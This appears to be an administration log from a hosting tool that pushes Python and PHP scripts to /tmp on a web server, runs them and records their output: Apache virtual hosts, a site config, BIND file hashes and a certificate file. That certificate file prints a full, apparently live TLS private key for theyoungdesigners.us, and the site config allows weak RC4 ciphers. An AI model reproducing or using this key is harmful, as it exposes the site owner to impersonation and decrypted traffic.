                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-05 06:00:43: 

PUT: /tmp/pkp287504

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-05 06:00:43: 

chmod 755 /tmp/pkp287504; /tmp/pkp287504; rm /tmp/pkp287504

2026-02-05 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf	1781

<VirtualHost *:80>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-05 06:00:43: 

PUT: /tmp/pkp862995

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-05 06:00:43: 

chmod 755 /tmp/pkp862995; /tmp/pkp862995; rm /tmp/pkp862995

2026-02-05 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt	5406
9a:f4:39:bc:96:8c:75:e1:62:cf:32:4f:06:eb:28:c4

-----BEGIN CERTIFICATE-----
MIIFJjCCBA6gAwIBAgISBgYTDKF5mlpyE/vFNiNCE1MAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjA1MDUwMjEwWhcNMjYwNTA2MDUwMjA5WjAfMR0wGwYDVQQD
ExR0aGV5b3VuZ2Rlc2lnbmVycy51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAIwUQgUKZHUGIR0DPbLVZbeiFczkjxzkO+bj5PGuaaVh6UZq0mCj+3tL
6LYm04nH6BlubfGfEo03SMoRkhR+NuobuhF2cWUTOsJyCXrvBf9DxMbbnGagssAJ
1SSEFJ3hSBbU64A8rL5NVZuef0+68b1Pe6xStuPHPhKORNN/FQRD4jYed53G4zTb
ZyqmJJqf5aXtmBiekYSEt4UHUgZLa17DNKQ1k3Epzi+qx9POJQtWxNsR/33Mfpls
5GEfaPVrxY3IswGU2SiosS+WE2RNinwVTASviBuiYxpSS3hP1oaqgnaCMWO2nuCB
cbeWQymbS2O10lL5TDsfSx87luLPWXkCAwEAAaOCAkYwggJCMA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQU7g7+dNCWCdfyqcjcH2vw65q+UEAwHwYDVR0jBBgwFoAUALUp
8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEyLmkubGVuY3Iub3JnLzA5BgNVHREEMjAwghR0aGV5b3VuZ2Rlc2ln
bmVycy51c4IYd3d3LnRoZXlvdW5nZGVzaWduZXJzLnVzMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
MS5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwDLOPcViXyEoURfW8Hd+8lu
8ppZzUcKaQWFsMsUwxRY5wAAAZwsY3DvAAAEAwBIMEYCIQCFab7dY1R1IIbnoXOi
U+h8abqfUfODBTWQDEGBXcEqXQIhAKakDeSinnd89I4rraJFTm6G9+Af2JLfd3gS
apVja9cdAH4AGoudaUpXmMiZoMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGcLGNy
JgAIAAAFAEIj9HcEAwBHMEUCICSV3ZK4vh/rnzdDEBMWStGm8iiJxDkTvNnFySdf
uzPTAiEA8d/ieyK6MP3SolOgJrdg33q0vnWEfMR0njKFwN3fB9AwDQYJKoZIhvcN
AQELBQADggEBAKSphxZvX3L/YMxChCkRc+lfUz/3qoD5Vvpy5K9F6zu5rEDugUgW
XBJAsipRs8espkLUEBxRGYXwLKVnAKbNxcA+7xb2E33fof7bedSJcaarN0tCAiWg
BDQGD3i5T0r5o82QxUrYpnubn5hhwHu21+JgdNDscIwNDVsMAZRGblLF239ZeM7l
8jXMs8A129klaZ0b/0C2oMJ5RVQBfwCjP4JVe9MT5gksyZZMpH6fhrv6xze1xTrg
jJL6hfeEVx4oLAKnLKMUOXjGtH51fn74SnviQ5pzukdcLDOGuX+elROWz93KUzgi
B/iAwRFg/6Nn0Jbx910BJA3QwP9osUjRmlw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCMFEIFCmR1BiEd
Az2y1WW3ohXM5I8c5Dvm4+TxrmmlYelGatJgo/t7S+i2JtOJx+gZbm3xnxKNN0jK
EZIUfjbqG7oRdnFlEzrCcgl67wX/Q8TG25xmoLLACdUkhBSd4UgW1OuAPKy+TVWb
nn9PuvG9T3usUrbjxz4SjkTTfxUEQ+I2HnedxuM022cqpiSan+Wl7ZgYnpGEhLeF
B1IGS2tewzSkNZNxKc4vqsfTziULVsTbEf99zH6ZbORhH2j1a8WNyLMBlNkoqLEv
lhNkTYp8FUwEr4gbomMaUkt4T9aGqoJ2gjFjtp7ggXG3lkMpm0tjtdJS+Uw7H0sf
O5biz1l5AgMBAAECggEAP46Le+0AsoYi7R6E1ojze3PL72i+tG2r7jF1teCcZ6D6
rmwWYynUF1fUUR1hurCc0zkjIk+6I5+zY5fAT5MKyILnFDhI8ALfFM2YFpKwBmeR
t2Z6WqhMIkzzy/svvYizZEScS9V7zWaaUp8CBcN9HpebNg9bkxLaS6IIgWu2NfYJ
IqRqe+I8lJcoqSQj4FbFmdz8iaxVTNi0kkq8z2/w0dGZCRdNlcaynChomIQQO7Nb
YYn/akc0ieaCdYSh7FYWS40ob/hJuJsESGiX2xTl1RKUVCifvqWs1kz4D1lnif09
xi9zLU467dH/z1Wl1p0qhyI/gXLhQ5aWEY3HlArObwKBgQDBVBF57mwYG2JM5LnX
/PyBfcLNzPl6Eo1e0TEkmth8vkPaFs+9SuViFvav/pXbyjLtW540hySLqoSmiS0E
QcTHD2Hc1C9wnGseESI38uloo7oUnw0a3wA3mViD8V3a+DcUG9EG96wqX+Z2shIc
ZI/X/P0kB2ZaKFinjoejN5e66wKBgQC5fSQ0Zf5SZA+6SlvHuC3jeTSE/noi0hwc
6mhuJq0bWqAn+uQ394rhmLxRKZbKuxbOg9gVDV7YXlcn1XMKrfYmj1lx7z+XNfce
HaGm2hX9vzJSx+wYxyO8G+0rBpGjOxtUmbFJlLqZG8DKjHUw/+FWZOcJPLlbsjCv
qPcPSNPcKwKBgE96v2CQa3IRt/0Cv4CTaj/WMwMmtJ3CCMqlV/3DhyLpmb2MSUV6
CAmmhS5fjL56Ryub0dOoh5a/uJ86n/4zB7IKmeIOfZ5fQA5xXs7/l4PEY9jcdqfI
bC9vZJuB3GMMTqB+uxWRNv+Iw5eip51ynkxenrd0L1j7Y08nYo3wafmXAoGAHqEh
h12IP4ayaiq5OSOawENVftiexn03kzbKA9ZzI181ryRo5y0DS/lyr1xUwClgvL1c
wy0wCj6Z2cQPeSX8zaVCOeQt9gQ9SEXQWcMNepdF8hF9VSIdLoTWBxLQncm226N9
eQ8MORgyH8BN4cd/KEsFM6tJWHD2RSt7kJSQF30CgYAO+TLRophREP/D9XMZf9BG
EBTqpjKopGidpcZBXuVnLKYtbvsgkVkS3AvFVkoF79iTARtG0ljgvJoXQEjQ/d5S
Nk+Ricw9Ye7LJ/arDBKe/5JowOL0dDJ1xpaK97Zpp5gSAr4Lm3foKEY31A6pq7b6
Ubif3eYxihvgUcxnztTntw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-05 06:00:43: Establishing a remote connection
2026-02-06 06:00:02: Establishing a remote connection
2026-02-06 18:09:57: Establishing a connection
2026-02-06 18:10:14: Establishing a connection
2026-02-06 18:10:28: Establishing a connection
2026-02-06 18:10:29: 

PUT: /tmp/pkp899226

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-06 18:10:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp899226; rm /tmp/pkp899226'

2026-02-06 18:10:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
